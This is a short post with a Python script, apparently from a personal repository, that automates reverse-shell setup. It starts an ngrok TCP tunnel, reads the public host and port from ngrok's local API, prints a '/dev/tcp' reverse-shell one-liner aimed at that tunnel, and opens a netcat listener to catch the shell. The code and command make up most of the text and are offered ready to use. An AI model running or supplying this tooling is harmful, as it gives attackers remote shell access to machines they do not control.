Reverse shell generator

Little automation script to configure a tcp tunnel for (reverse) shell shoveling This code allows you to create a reverse connection via ngrok. When run, the program starts a TCP tunnel through ngrok using the specified port as a command line argument. Next, the program requests the tunnel details from ngrok and prints a connection command that can be used to connect to the tunnel. Finally, the program starts a netcat listener on the specified port to accept the reverse connection. If you dont like the generated payload, you can generate one from here. Make sure to have installed netcat and ngrok (this one configured corretly)!
Code taken from my shitty repository
import subprocess,json,sys,os
print("""\n\tSPINA\n\t  _____
\t /     \\\n\t| () () |
\t \  ^  /\n\t  |||||\n""")
def main(port:int)->None:
    c=subprocess.Popen(args=["ngrok","tcp",str(port)],stdout=subprocess.DEVNULL,stderr=subprocess.STDOUT)
    __import__("time").sleep(1)         #delay to start ngrok
    a=subprocess.Popen(args=["curl","-s","localhost:4040/api/tunnels"],stdout=subprocess.PIPE)
    b=json.loads(a.communicate()[0])['tunnels'][0]['public_url'].split("//")[1].split(":")
    print(f"\nConnection command: sh -i >& /dev/tcp/{b[0]}/{b[1]} 0>&1\n")
    os.system(f"nc -lvnp {port}")
if __name__ == "__main__":
    try:main(int(sys.argv[1]))
    except Exception as e:
        c.kill()
        quit(e)
else:pass